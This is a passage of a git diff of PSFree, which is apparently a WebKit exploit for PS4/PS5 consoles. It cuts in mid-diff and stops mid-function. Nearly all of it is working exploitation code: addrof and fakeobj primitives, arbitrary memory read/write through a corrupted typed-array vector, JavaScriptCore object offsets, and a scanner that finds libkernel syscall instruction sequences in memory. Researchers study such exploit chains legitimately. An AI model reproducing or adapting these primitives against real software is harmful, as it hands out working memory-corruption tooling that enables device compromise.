- let high = this.high().toString(16).padStart(8, '0');
+ const low = this.lo.toString(16).padStart(8, '0');
+ const high = this.hi.toString(16).padStart(8, '0');
return '0x' + high + low;
}
- let high = this.high().toString(16).padStart(8, '0');
+ let high = this.hi.toString(16).padStart(8, '0');
high = high.substring(0, 4) + '_' + high.substring(4);
- let low = this.low().toString(16).padStart(8, '0');
+ let low = this.lo.toString(16).padStart(8, '0');
low = low.substring(0, 4) + '_' + low.substring(4);
+
return '0x' + high + '_' + low;
}
}
-
-Int.Zero = new Int(0);
-Int.One = new Int(1);
diff --git a/module/mem.mjs b/module/mem.mjs
index 9532a02..2620230 100644
--- a/module/mem.mjs
+++ b/module/mem.mjs
@@ -1,4 +1,4 @@
-/* Copyright (C) 2023-2024 anonymous
+/* Copyright (C) 2023-2025 anonymous
This file is part of PSFree.
@@ -15,214 +15,416 @@ GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see . */
-import { Int } from './int64.mjs';
-import {
- read16,
- read32,
- read64,
- write16,
- write32,
- write64,
-} from './rw.mjs';
-import * as o from './offset.mjs';
+import { Int, lohi_from_one } from './int64.mjs';
+import { view_m_vector, view_m_length } from './offset.mjs';
export let mem = null;
+// cache some constants
+const off_vector = view_m_vector / 4;
+const off_vector2 = (view_m_vector + 4) / 4;
+const isInteger = Number.isInteger;
+
function init_module(memory) {
mem = memory;
}
+function add_and_set_addr(mem, offset, base_lo, base_hi) {
+ const values = lohi_from_one(offset);
+ const main = mem._main;
+
+ const low = base_lo + values[0];
+
+ // no need to use ">>> 0" to convert to unsigned here
+ main[off_vector] = low;
+ main[off_vector2] = base_hi + values[1] + (low > 0xffffffff);
+}
+
export class Addr extends Int {
read8(offset) {
- const addr = this.add(offset);
- return mem.read8(addr);
+ const m = mem;
+ if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
+ m._set_addr_direct(this);
+ } else {
+ add_and_set_addr(m, offset, this.lo, this.hi);
+ offset = 0;
+ }
+
+ return m.read8_at(offset);
}
read16(offset) {
- const addr = this.add(offset);
- return mem.read16(addr);
+ const m = mem;
+ if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
+ m._set_addr_direct(this);
+ } else {
+ add_and_set_addr(m, offset, this.lo, this.hi);
+ offset = 0;
+ }
+
+ return m.read16_at(offset);
}
read32(offset) {
- const addr = this.add(offset);
- return mem.read32(addr);
+ const m = mem;
+ if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
+ m._set_addr_direct(this);
+ } else {
+ add_and_set_addr(m, offset, this.lo, this.hi);
+ offset = 0;
+ }
+
+ return m.read32_at(offset);
}
read64(offset) {
- const addr = this.add(offset);
- return mem.read64(addr);
+ const m = mem;
+ if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
+ m._set_addr_direct(this);
+ } else {
+ add_and_set_addr(m, offset, this.lo, this.hi);
+ offset = 0;
+ }
+
+ return m.read64_at(offset);
}
- // returns a pointer instead of an Int
readp(offset) {
- const addr = this.add(offset);
- return mem.readp(addr);
+ const m = mem;
+ if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
+ m._set_addr_direct(this);
+ } else {
+ add_and_set_addr(m, offset, this.lo, this.hi);
+ offset = 0;
+ }
+
+ return m.readp_at(offset);
}
write8(offset, value) {
- const addr = this.add(offset);
+ const m = mem;
+ if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
+ m._set_addr_direct(this);
+ } else {
+ add_and_set_addr(m, offset, this.lo, this.hi);
+ offset = 0;
+ }
- mem.write8(addr, value);
+ m.write8_at(offset, value);
}
write16(offset, value) {
- const addr = this.add(offset);
+ const m = mem;
+ if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
+ m._set_addr_direct(this);
+ } else {
+ add_and_set_addr(m, offset, this.lo, this.hi);
+ offset = 0;
+ }
- mem.write16(addr, value);
+ m.write16_at(offset, value);
}
write32(offset, value) {
- const addr = this.add(offset);
+ const m = mem;
+ if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
+ m._set_addr_direct(this);
+ } else {
+ add_and_set_addr(m, offset, this.lo, this.hi);
+ offset = 0;
+ }
- mem.write32(addr, value);
+ m.write32_at(offset, value);
}
write64(offset, value) {
- const addr = this.add(offset);
+ const m = mem;
+ if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
+ m._set_addr_direct(this);
+ } else {
+ add_and_set_addr(m, offset, this.lo, this.hi);
+ offset = 0;
+ }
- mem.write64(addr, value);
+ m.write64_at(offset, value);
}
}
-class MemoryBase {
- _addrof(obj) {
- if (typeof obj !== 'object'
- && typeof obj !== 'function'
- ) {
- throw TypeError('addrof argument not a JS object');
+// expected:
+// * main - Uint32Array whose m_vector points to worker
+// * worker - DataView
+//
+// addrof()/fakeobj() expectations:
+// * obj - has a "addr" property and a 0 index.
+// * addr_addr - Int, the address of the slot of obj.addr
+// * fake_addr - Int, the address of the slot of obj[0]
+//
+// a valid example for "obj" is "{addr: null, 0: 0}". note that this example
+// has [0] be 0 so that the butterfly's indexing type is ArrayWithInt32. this
+// prevents the garbage collector from incorrectly treating the slot's value as
+// a JSObject and then crash
+//
+// the relative read/write methods expect the offset to be a unsigned 32-bit
+// integer
+export class Memory {
+ constructor(main, worker, obj, addr_addr, fake_addr) {
+ this._main = main;
+ this._worker = worker;
+ this._obj = obj;
+ this._addr_low = addr_addr.lo;
+ this._addr_high = addr_addr.hi;
+ this._fake_low = fake_addr.lo;
+ this._fake_high = fake_addr.hi;
+
+ main[view_m_length / 4] = 0xffffffff;
+
+ init_module(this);
+
+ const off_mvec = view_m_vector;
+ // use this to create WastefulTypedArrays to avoid a GC crash
+ const buf = new ArrayBuffer(0);
+
+ const src = new Uint8Array(buf);
+ const sset = new Uint32Array(buf);
+ const sset_p = this.addrof(sset);
+ sset_p.write64(off_mvec, this.addrof(src).add(off_mvec));
+ sset_p.write32(view_m_length, 3);
+ this._cpysrc = src;
+ this._src_setter = sset;
+
+ const dst = new Uint8Array(buf);
+ const dset = new Uint32Array(buf);
+ const dset_p = this.addrof(dset);
+ dset_p.write64(off_mvec, this.addrof(dst).add(off_mvec));
+ dset_p.write32(view_m_length, 3);
+ dset[2] = 0xffffffff;
+ this._cpydst = dst;
+ this._dst_setter = dset;
+ }
+
+ // dst and src may overlap
+ cpy(dst, src, len) {
+ if (!(isInteger(len) && 0 <= len && len <= 0xffffffff)) {
+ throw TypeError('len not a unsigned 32-bit integer');
}
- this.worker.a = obj;
- write64(this.main, o.view_m_vector, this.butterfly.sub(0x10));
- let res = read64(this.worker, 0);
- write64(this.main, o.view_m_vector, this._current_addr);
+
+ const dvals = lohi_from_one(dst);
+ const svals = lohi_from_one(src);
+ const dset = this._dst_setter;
+ const sset = this._src_setter;
+
+ dset[0] = dvals[0];
+ dset[1] = dvals[1];
+ sset[0] = svals[0];
+ sset[1] = svals[1];
+ sset[2] = len;
+
+ this._cpydst.set(this._cpysrc);
+ }
+
+ // allocate Garbage Collector managed memory. returns [address_of_memory,
+ // backer]. backer is the JSCell that is keeping the returned memory alive,
+ // you can drop it once you have another GC object reference the address.
+ // the backer is an implementation detail. don't use it to mutate the
+ // memory
+ gc_alloc(size) {
+ if (!isInteger(size)) {
+ throw TypeError('size not a integer');
+ }
+ if (size < 0) {
+ throw RangeError('size is negative');
+ }
+
+ const fastLimit = 1000;
+ size = (size + 7 & ~7) >> 3;
+ if (size > fastLimit) {
+ throw RangeError('size is too large');
+ }
+
+ const backer = new Float64Array(size);
+ return [mem.addrof(backer).readp(view_m_vector), backer];
+ }
+
+ fakeobj(addr) {
+ const values = lohi_from_one(addr);
+ const worker = this._worker;
+ const main = this._main;
+
+ main[off_vector] = this._fake_low;
+ main[off_vector2] = this._fake_high;
+ worker.setUint32(0, values[0], true);
+ worker.setUint32(4, values[1], true);
+ return this._obj[0];
+ }
+
+ addrof(object) {
+ // typeof considers null as a object. blacklist it as it isn't a
+ // JSObject
+ if (object === null
+ || (typeof object !== 'object' && typeof object !== 'function')
+ ) {
+ throw TypeError('argument not a JS object');
+ }
+
+ const obj = this._obj;
+ const worker = this._worker;
+ const main = this._main;
+
+ obj.addr = object;
+
+ main[off_vector] = this._addr_low;
+ main[off_vector2] = this._addr_high;
+
+ const res = new Addr(
+ worker.getUint32(0, true),
+ worker.getUint32(4, true),
+ );
+ obj.addr = null;
return res;
}
- addrof(obj) {
- return new Addr(this._addrof(obj));
+ // expects addr to be a Int
+ _set_addr_direct(addr) {
+ const main = this._main;
+ main[off_vector] = addr.lo;
+ main[off_vector2] = addr.hi;
}
set_addr(addr) {
- if (!(addr instanceof Int)) {
- throw TypeError('addr must be an Int');
- }
- this._current_addr = addr;
- write64(this.main, o.view_m_vector, this._current_addr);
+ const values = lohi_from_one(addr);
+ const main = this._main;
+ main[off_vector] = values[0];
+ main[off_vector2] = values[1];
}
get_addr() {
- return this._current_addr;
- }
-
- // write0() is for when you want to write to address 0. You can't use for
- // example: "mem.write32(Int.Zero, 0)", since you can't set by index the
- // view when it isDetached(). isDetached() == true when m_mode >=
- // WastefulTypedArray and m_vector == 0.
- //
- // Functions like write32() will index mem.worker via write() from rw.mjs.
- //
- // size is the number of bits to read/write.
- //
- // The constraint is 0 <= offset + 1 < 2**32.
- //
- // PS4 firmwares >= 9.00 and any PS5 version can write to address 0
- // directly. All firmwares (PS4 and PS5) can read address 0 directly.
- //
- // See setIndex() from
- // WebKit/Source/JavaScriptCore/runtime/JSGenericTypedArrayView.h at PS4
- // 8.03 for more information. Affected firmwares will get this error:
- //
- // TypeError: Underlying ArrayBuffer has been detached from the view
- write0(size, offset, value) {
- const i = offset + 1;
- if (i >= 2**32 || i < 0) {
- throw RangeError(`read0() invalid offset: ${offset}`);
- }
-
- this.set_addr(new Int(-1));
-
- switch (size) {
- case 8: {
- this.worker[i] = value;
- }
- case 16: {
- write16(this.worker, i, value);
- }
- case 32: {
- write32(this.worker, i, value);
- }
- case 64: {
- write64(this.worker, i, value);
- }
- default: {
- throw RangeError(`write0() invalid size: ${size}`);
- }
- }
+ const main = this._main;
+ return new Addr(main[off_vector], main[off_vector2]);
}
read8(addr) {
this.set_addr(addr);
- return this.worker[0];
+ return this._worker.getUint8(0);
}
read16(addr) {
this.set_addr(addr);
- return read16(this.worker, 0);
+ return this._worker.getUint16(0, true);
}
read32(addr) {
this.set_addr(addr);
- return read32(this.worker, 0);
+ return this._worker.getUint32(0, true);
}
read64(addr) {
this.set_addr(addr);
- return read64(this.worker, 0);
+ const worker = this._worker;
+ return new Int(worker.getUint32(0, true), worker.getUint32(4, true));
}
// returns a pointer instead of an Int
readp(addr) {
- return new Addr(this.read64(addr));
+ this.set_addr(addr);
+ const worker = this._worker;
+ return new Addr(worker.getUint32(0, true), worker.getUint32(4, true));
+ }
+
+ read8_at(offset) {
+ if (!isInteger(offset)) {
+ throw TypeError('offset not a integer');
+ }
+ return this._worker.getUint8(offset);
+ }
+
+ read16_at(offset) {
+ if (!isInteger(offset)) {
+ throw TypeError('offset not a integer');
+ }
+ return this._worker.getUint16(offset, true);
+ }
+
+ read32_at(offset) {
+ if (!isInteger(offset)) {
+ throw TypeError('offset not a integer');
+ }
+ return this._worker.getUint32(offset, true);
+ }
+
+ read64_at(offset) {
+ if (!isInteger(offset)) {
+ throw TypeError('offset not a integer');
+ }
+ const worker = this._worker;
+ return new Int(
+ worker.getUint32(offset, true),
+ worker.getUint32(offset + 4, true),
+ );
+ }
+
+ readp_at(offset) {
+ if (!isInteger(offset)) {
+ throw TypeError('offset not a integer');
+ }
+ const worker = this._worker;
+ return new Addr(
+ worker.getUint32(offset, true),
+ worker.getUint32(offset + 4, true),
+ );
}
write8(addr, value) {
this.set_addr(addr);
- this.worker[0] = value;
+ this._worker.setUint8(0, value);
}
write16(addr, value) {
this.set_addr(addr);
- write16(this.worker, 0, value);
+ this._worker.setUint16(0, value, true);
}
write32(addr, value) {
this.set_addr(addr);
- write32(this.worker, 0, value);
+ this._worker.setUint32(0, value, true);
}
write64(addr, value) {
+ const values = lohi_from_one(value);
this.set_addr(addr);
- write64(this.worker, 0, value);
- }
-}
-
-export class Memory extends MemoryBase {
- constructor(main, worker) {
- super();
-
- this.main = main;
- this.worker = worker;
-
- // The initial creation of the "a" property will change the butterfly
- // address. Do it now so we can cache it for addrof().
- worker.a = 0; // dummy value, we just want to create the "a" property
- this.butterfly = read64(main, o.js_butterfly);
-
- write32(main, o.view_m_length, 0xffffffff);
-
- this._current_addr = Int.Zero;
-
- init_module(this);
+ const worker = this._worker;
+ worker.setUint32(0, values[0], true);
+ worker.setUint32(4, values[1], true);
+ }
+
+ write8_at(offset, value) {
+ if (!isInteger(offset)) {
+ throw TypeError('offset not a integer');
+ }
+ this._worker.setUint8(offset, value);
+ }
+
+ write16_at(offset, value) {
+ if (!isInteger(offset)) {
+ throw TypeError('offset not a integer');
+ }
+ this._worker.setUint16(offset, value, true);
+ }
+
+ write32_at(offset, value) {
+ if (!isInteger(offset)) {
+ throw TypeError('offset not a integer');
+ }
+ this._worker.setUint32(offset, value, true);
+ }
+
+ write64_at(offset, value) {
+ if (!isInteger(offset)) {
+ throw TypeError('offset not a integer');
+ }
+ const values = lohi_from_one(value);
+ const worker = this._worker;
+ worker.setUint32(offset, values[0], true);
+ worker.setUint32(offset + 4, values[1], true);
}
}
diff --git a/module/memtools.mjs b/module/memtools.mjs
index 4404c53..3445ad2 100644
--- a/module/memtools.mjs
+++ b/module/memtools.mjs
@@ -1,4 +1,4 @@
-/* Copyright (C) 2023-2024 anonymous
+/* Copyright (C) 2023-2025 anonymous
This file is part of PSFree.
@@ -18,13 +18,13 @@ along with this program. If not, see . */
// This module are for utilities that depend on running the exploit first
import { Int } from './int64.mjs';
-import { Addr, mem } from './mem.mjs';
+import { mem } from './mem.mjs';
import { align } from './utils.mjs';
-import { KB } from './constants.mjs';
-import { read32 } from './rw.mjs';
+import { page_size } from './offset.mjs';
+import { BufferView } from './rw.mjs';
+import { View1 } from './view.mjs';
-import * as rw from './rw.mjs';
-import * as o from './offset.mjs';
+import * as off from './offset.mjs';
// creates an ArrayBuffer whose contents is copied from addr
export function make_buffer(addr, size) {
@@ -53,11 +53,11 @@ export function make_buffer(addr, size) {
const u_addr = mem.addrof(u);
// we won't change the butterfly and m_mode so we won't save those
- const old_addr = u_addr.read64(o.view_m_vector);
- const old_size = u_addr.read32(o.view_m_length);
+ const old_addr = u_addr.read64(off.view_m_vector);
+ const old_size = u_addr.read32(off.view_m_length);
- u_addr.write64(o.view_m_vector, addr);
- u_addr.write32(o.view_m_length, size);
+ u_addr.write64(off.view_m_vector, addr);
+ u_addr.write32(off.view_m_length, size);
const copy = new Uint8Array(u.length);
copy.set(u);
@@ -76,8 +76,8 @@ export function make_buffer(addr, size) {
const res = copy.buffer;
// restore
- u_addr.write64(o.view_m_vector, old_addr);
- u_addr.write32(o.view_m_length, old_size);
+ u_addr.write64(off.view_m_vector, old_addr);
+ u_addr.write32(off.view_m_length, old_size);
return res;
}
@@ -87,8 +87,8 @@ function check_magic_at(p, is_text) {
// byte sequence that is very likely to appear at offset 0 of a .text
// segment
const text_magic = [
- new Int([0x55, 0x48, 0x89, 0xe5, 0x41, 0x57, 0x41, 0x56]),
- new Int([0x41, 0x55, 0x41, 0x54, 0x53, 0x50, 0x48, 0x8d]),
+ new Int(0xe5894855, 0x56415741),
+ new Int(0x54415541, 0x8d485053),
];
// the .data "magic" is just a portion of the PT_SCE_MODULE_PARAM segment
@@ -137,8 +137,6 @@ function check_magic_at(p, is_text) {
// addr.read8(-1);
//
export function find_base(addr, is_text, is_back) {
- // ps4 page size
- const page_size = 16 * KB;
// align to page size
addr = align(addr, page_size);
const offset = (is_back ? -1 : 1) * page_size;
@@ -146,7 +144,7 @@ export function find_base(addr, is_text, is_back) {
if (check_magic_at(addr, is_text)) {
break;
}
- addr = addr.add(offset)
+ addr = addr.add(offset);
}
return addr;
}
@@ -156,27 +154,27 @@ export function get_view_vector(view) {
if (!ArrayBuffer.isView(view)) {
throw TypeError(`object not a JSC::JSArrayBufferView: ${view}`);
}
- return mem.addrof(view).readp(o.view_m_vector);
+ return mem.addrof(view).readp(off.view_m_vector);
}
export function resolve_import(import_addr) {
if (import_addr.read16(0) !== 0x25ff) {
throw Error(
`instruction at ${import_addr} is not of the form: jmp qword`
- + ' [rip + X]'
- );
+ + ' [rip + X]');
}
// module_function_import:
// jmp qword [rip + X]
// ff 25 xx xx xx xx // signed 32-bit displacement
const disp = import_addr.read32(2);
- // sign extend
- const offset = new Int(disp, disp >> 31);
+ // assume disp and offset are 32-bit integers
+ // x | 0 will always be a signed integer
+ const offset = (disp | 0) + 6;
// The rIP value used by "jmp [rip + X]" instructions is actually the rIP
// of the next instruction. This means that the actual address used is
// [rip + X + sizeof(jmp_insn)], where sizeof(jmp_insn) is the size of the
// jump instruction, which is 6 in this case.
- const function_addr = import_addr.readp(offset.add(6));
+ const function_addr = import_addr.readp(offset);
return function_addr;
}
@@ -186,8 +184,9 @@ export function init_syscall_array(
libkernel_web_base,
max_search_size,
) {
- if (typeof max_search_size !== 'number') {
- throw TypeError(`max_search_size is not a number: ${max_search_size}`);
+ if (!Number.isInteger(max_search_size)) {
+ throw TypeError(
+ `max_search_size is not a integer: ${max_search_size}`);
}
if (max_search_size < 0) {
throw Error(`max_search_size is less than 0: ${max_search_size}`);
@@ -197,7 +196,7 @@ export function init_syscall_array(
libkernel_web_base,
max_search_size,
);
- const kbuf = new Uint8Array(libkernel_web_buffer);
+ const kbuf = new BufferView(libkernel_web_buffer);
// Search 'rdlo' string from libkernel_web's .rodata section to gain an
// upper bound on the size of the .text section.
@@ -217,8 +216,7 @@ export function init_syscall_array(
if (!found) {
throw Error(
'"rdlo" string not found in libkernel_web, base address:'
- + ` ${libkernel_web_base}`
- );
+ + ` ${libkernel_web_base}`);
}
// search for the instruction sequence:
@@ -236,10 +234,23 @@ export function init_syscall_array(
&& kbuf[i + 10] === 0x0f
&& kbuf[i + 11] === 0x05
) {
- const syscall_num = read32(kbuf, i + 3);
+ const syscall_num = kbuf.read32(i + 3);
syscall_array[syscall_num] = libkernel_web_base.add(i);
// skip the sequence
i += 11;
}
}
}
+
+// create a char array like in the C language
+//
+// string to view since it's easier to get the address of the buffer this way
+export function cstr(str) {
+ str += '\0';
+ return View1.from(str, c => c.codePointAt(0));
+}
+
+// we are re-exporting this since users that want to use cstr() usually want
+// jstr() as well. they are likely working with functions that take/return
+// strings
+export { jstr } from './utils.mjs';
diff --git a/module/offset.mjs b/module/offset.mjs
index 509260c..74c9dc0 100644
--- a/module/offset.mjs
+++ b/module/offset.mjs
@@ -1,4 +1,4 @@
-/* Copyright (C) 2023 anonymous
+/* Copyright (C) 2023-2025 anonymous
This file is part of PSFree.
@@ -15,8 +15,16 @@ GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see . */
+// WebKit offsets start
+
// offsets for JSC::JSObject
+export const js_cell = 0;
export const js_butterfly = 0x8;
+// start of the array of inline properties (JSValues)
+export const js_inline_prop = 0x10;
+
+// sizeof JSC::JSObject
+export const size_jsobj = js_inline_prop;
// offsets for JSC::JSArrayBufferView
export const view_m_vector = 0x10;
@@ -33,3 +41,22 @@ export const strimpl_inline_str = 0x14;
// sizeof WTF::StringImpl
export const size_strimpl = 0x18;
+
+// offsets for WebCore::JSHTMLTextAreaElement, subclass of JSObject
+
+// offset to m_wrapped, pointer to a DOM object
+// for this class, it's a WebCore::HTMLTextAreaElement pointer
+export const jsta_impl = 0x18;
+
+// sizeof WebCore::JSHTMLTextAreaElement
+export const size_jsta = 0x20;
+
+// WebKit offsets end
+
+export const KB = 1024;
+export const MB = KB * KB;
+export const GB = KB * KB * KB;
+export const page_size = 16 * KB; // page size on the ps4
+
+// size of the buffer used by setcontext/getcontext (see module/chain.mjs)
+export const context_size = 0xc8;
diff --git a/module/rw.mjs b/module/rw.mjs
index 7ebfb9e..2075817 100644
--- a/module/rw.mjs
+++ b/module/rw.mjs
@@ -1,4 +1,4 @@
-/* Copyright (C) 2023 anonymous
+/* Copyright (C) 2023-2025 anonymous
This file is part of PSFree.
@@ -15,7 +15,54 @@ GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see . */
-import { Int } from './int64.mjs';
+import { Int, lohi_from_one } from './int64.mjs';
+
+// DataView's accessors are constant time and are faster when doing multi-byte
+// accesses but the single-byte accessors are slightly slower compared to just
+// indexing the Uint8Array
+//
+// to get the best of both worlds, BufferView uses a DataView for multi-byte
+// accesses and a Uint8Array for single-byte
+//
+// instances of BufferView will their have m_mode set to WastefulTypedArray
+// since we use the .buffer getter to create a DataView
+export class BufferView extends Uint8Array {
+ constructor(...args) {
+ super(...args);
+ this._dview = new DataView(this.buffer, this.byteOffset);
+ }
+
+ read16(offset) {
+ return this._dview.getUint16(offset, true);
+ }
+
+ read32(offset) {
+ return this._dview.getUint32(offset, true);
+ }
+
+ read64(offset) {
+ return new Int(
+ this._dview.getUint32(offset, true),
+ this._dview.getUint32(offset + 4, true),
+ );
+ }
+
+ write16(offset, value) {
+ this._dview.setUint16(offset, value, true);
+ }
+
+ write32(offset, value) {
+ this._dview.setUint32(offset, value, true);
+ }
+
+ write64(offset, value) {
+ const values = lohi_from_one(value);
+ this._dview.setUint32(offset, values[0], true);
+ this._dview.setUint32(offset + 4, values[1], true);
+ }
+}
+
+// WARNING: These functions are now deprecated. use BufferView instead.
// view.buffer is the underlying ArrayBuffer of a TypedArray, but since we will
// be corrupting the m_vector of our target views later, the ArrayBuffer's
@@ -58,11 +105,7 @@ export function read32(u8_view, offset) {
}
export function read64(u8_view, offset) {
- let res = [];
- for (let i = 0; i < 8; i++) {
- res.push(u8_view[offset + i]);
- }
- return new Int(res);
+ return new Int(read32(u8_view, offset), read32(u8_view, offset + 4));
}
// for writes less than 8 bytes
@@ -85,8 +128,8 @@ export function write64(u8_view, offset, value) {
throw TypeError('write64 value must be an Int');
}
- let low = value.low();
- let high = value.high();
+ let low = value.lo;
+ let high = value.hi;
for (let i = 0; i < 4; i++) {
u8_view[offset + i] = (low >>> i*8) & 0xff;
@@ -95,11 +138,3 @@ export function write64(u8_view, offset, value) {
u8_view[offset + 4 + i] = (high >>> i*8) & 0xff;
}
}
-
-export function sread64(str, offset) {
- let res = [];
- for (let i = 0; i < 8; i++) {
- res.push(str.charCodeAt(offset + i));
- }
- return new Int(res);
-}
diff --git a/module/utils.mjs b/module/utils.mjs
index 23cf4a1..7c20ef1 100644
--- a/module/utils.mjs
+++ b/module/utils.mjs
@@ -1,4 +1,4 @@
-/* Copyright (C) 2023 anonymous
+/* Copyright (C) 2023-2025 anonymous
This file is part of PSFree.
@@ -17,32 +17,24 @@ along with this program. If not, see . */
import { Int } from './int64.mjs';
-export function die(msg) {
- alert(msg);
- undefinedFunction();
+export class DieError extends Error {
+ constructor(...args) {
+ super(...args);
+ this.name = this.constructor.name;
+ }
}
-export function debug_log(msg) {
- let textNode = document.createTextNode(msg);
- let node = document.createElement("p").appendChild(textNode);
+export function die(msg='') {
+ throw new DieError(msg);
+}
- document.body.appendChild(node);
- document.body.appendChild(document.createElement("br"));
+const console = document.getElementById('console');
+export function log(msg='') {
+ console.append(msg + '\n');
}
export function clear_log() {
- document.body.innerHTML = null;
-}
-
-export function str2array(str, length, offset) {
- if (offset === undefined) {
- offset = 0;
- }
- let a = new Array(length);
- for (let i = 0; i < length; i++) {
- a[i] = str.charCodeAt(i + offset);
- }
- return a;
+ console.innerHTML = null;
}
// alignment must be 32 bits and is a power of 2
@@ -52,8 +44,8 @@ export function align(a, alignment) {
}
const mask = -alignment & 0xffffffff;
let type = a.constructor;
- let low = a.low() & mask;
- return new type(low, a.high());
+ let low = a.lo & mask;
+ return new type(low, a.hi);
}
export async function send(url, buffer, file_name, onload=() => {}) {
@@ -65,7 +57,7 @@ export async function send(url, buffer, file_name, onload=() => {}) {
const form = new FormData();
form.append('upload', file);
- debug_log('send');
+ log('send');
const response = await fetch(url, {method: 'POST', body: form});
if (!response.ok) {
@@ -73,3 +65,108 @@ export async function send(url, buffer, file_name, onload=() => {}) {
}
onload();
}
+
+// mostly used to yield to the GC. marking is concurrent but collection isn't
+//
+// yielding also lets the DOM update. which is useful since we use the DOM for
+// logging and we loop when waiting for a collection to occur
+export function sleep(ms=0) {
+ return new Promise(resolve => setTimeout(resolve, ms));
+}
+
+export function hex(number) {
+ return '0x' + number.toString(16);
+}
+
+// no "0x" prefix
+export function hex_np(number) {
+ return number.toString(16);
+}
+
+// expects a byte array
+export function hexdump(view) {
+ const num_16 = view.length & ~15;
+ const residue = view.length - num_16;
+ const max_off_len = hex_np(((view.length + 7) & ~7) - 1).length;
+
+ function chr(i) {
+ if (0x20 <= i && i <= 0x7e) {
+ return String.fromCodePoint(i);
+ }
+ return '.';
+ }
+
+ function to_hex(view, offset, length) {
+ return (
+ [...view.slice(offset, offset + length)]
+ .map(e => hex_np(e).padStart(2, '0'))
+ .join(' ')
+ );
+ }
+
+ let bytes = [];
+ for (let i = 0; i < num_16; i += 16) {
+ const long1 = to_hex(view, i, 8);
+ const long2 = to_hex(view, i + 8, 8);
+
+ let print = '';
+ for (let j = 0; j < 16; j++) {
+ print += chr(view[j]);
+ }
+
+ bytes.push([`${long1} ${long2}`, print]);
+ }
+
+ if (residue) {
+ const small = residue <= 8;
+ const long1_len = small ? residue : 8;
+
+ let long1 = to_hex(view, num_16, long1_len);
+ if (small) {
+ for (let i = 0; i < 8 - residue; i++) {
+ long1 += ' xx';
+ }
+ }
+
+ const long2 = (() => {
+ if (small) {
+ return Array(8).fill('xx').join(' ');
+ }
+
+ let res = to_hex(view, num_16 + 8, residue - 8);
+ for (let i = 0; i < 16 - residue; i++) {
+ res += ' xx';
+ }
+
+ return res;
+ })();
+
+ let print = '';
+ for (let i = 0; i < residue; i++) {
+ print += chr(view[num_16 + i]);
+ }
+ for (let i = 0; i < 16 - residue; i++) {
+ print += ' ';
+ }
+
+ bytes.push([`${long1} ${long2}`, print]);
+ }
+
+ for (const [pos, [val, print]] of bytes.entries()) {
+ const off = hex_np(pos * 16).padStart(max_off_len, '0');
+ log(`${off} | ${val} |${print}|`);
+ }
+}
+
+// make a JavaScript string
+export function jstr(buffer) {
+ let res = '';
+ for (const item of buffer) {
+ if (item === 0) {
+ break;
+ }
+ res += String.fromCodePoint(item);
+ }
+ // convert to primitive string
+ return String(res);
+}
diff --git a/module/view.mjs b/module/view.mjs
new file mode 100644
index 0000000..2c5666b
--- /dev/null
+++ b/module/view.mjs
@@ -0,0 +1,261 @@
+/* Copyright (C) 2025 anonymous
+
+This file is part of PSFree.
+
+PSFree is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+PSFree is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see . */
+
+import { Int, lohi_from_one } from '/module/int64.mjs';
+import { Addr } from '/module/mem.mjs';
+import { BufferView } from '/module/rw.mjs';
+
+import * as config from '/config.mjs';
+import * as mt from '/module/memtools.mjs';
+
+// View constructors will always get the buffer property in order to make sure
+// that the JSArrayBufferView is a WastefulTypedArray. m_vector may change if
+// m_mode < WastefulTypedArray. This is to make caching the m_view field
+// possible. Users don't have to worry if the m_view they got from addr() is
+// possibly stale.
+//
+// see possiblySharedBuffer() from
+// WebKit/Source/JavaScriptCore/runtime/JSArrayBufferViewInlines.h
+// at PS4 8.03
+//
+// Subclasses of TypedArray are still implemented as a JSArrayBufferView, so
+// get_view_vector() still works on them.
+
+function ViewMixin(superclass) {
+ const res = class extends superclass {
+ constructor(...args) {
+ super(...args);
+ this.buffer;
+ }
+
+ get addr() {
+ let res = this._addr_cache;
+ if (res !== undefined) {
+ return res;
+ }
+ res = mt.get_view_vector(this);
+ this._addr_cache = res;
+ return res;
+ }
+
+ get size() {
+ return this.byteLength;
+ }
+
+ addr_at(index) {
+ const size = this.BYTES_PER_ELEMENT;
+ return this.addr.add(index * size);
+ }
+
+ sget(index) {
+ return this[index] | 0;
+ }
+ };
+
+ // workaround for known affected versions: ps4 [6.00, 10.00)
+ //
+ // see from() and of() from
+ // WebKit/Source/JavaScriptCore/builtins/TypedArrayConstructor.js at PS4
+ // 8.0x
+ //
+ // @getByIdDirectPrivate(this, "allocateTypedArray") will fail when "this"
+ // isn't one of the built-in TypedArrays. this is a violation of the
+ // ECMAScript spec at that time
+ //
+ // TODO assumes ps4, support ps5 as well
+ // FIXME define the from/of workaround functions once
+ if (0x600 <= config.target && config.target < 0x1000) {
+ res.from = function from(...args) {
+ const base = this.__proto__;
+ return new this(base.from(...args).buffer);
+ };
+
+ res.of = function of(...args) {
+ const base = this.__proto__;
+ return new this(base.of(...args).buffer);
+ };
+ }
+
+ return res;
+}
+
+export class View1 extends ViewMixin(Uint8Array) {}
+export class View2 extends ViewMixin(Uint16Array) {}
+export class View4 extends ViewMixin(Uint32Array) {}
+
+export class Buffer extends BufferView {
+ get addr() {
+ let res = this._addr_cache;
+ if (res !== undefined) {
+ return res;
+ }
+ res = mt.get_view_vector(this);
+ this._addr_cache = res;
+ return res;
+ }
+
+ get size() {
+ return this.byteLength;
+ }
+
+ addr_at(index) {
+ return this.addr.add(index);
+ }
+}
+// see from() and of() comment above
+if (0x600 <= config.target && config.target < 0x1000) {
+ Buffer.from = function from(...args) {
+ const base = this.__proto__;
+ return new this(base.from(...args).buffer);
+ };
+ Buffer.of = function of(...args) {
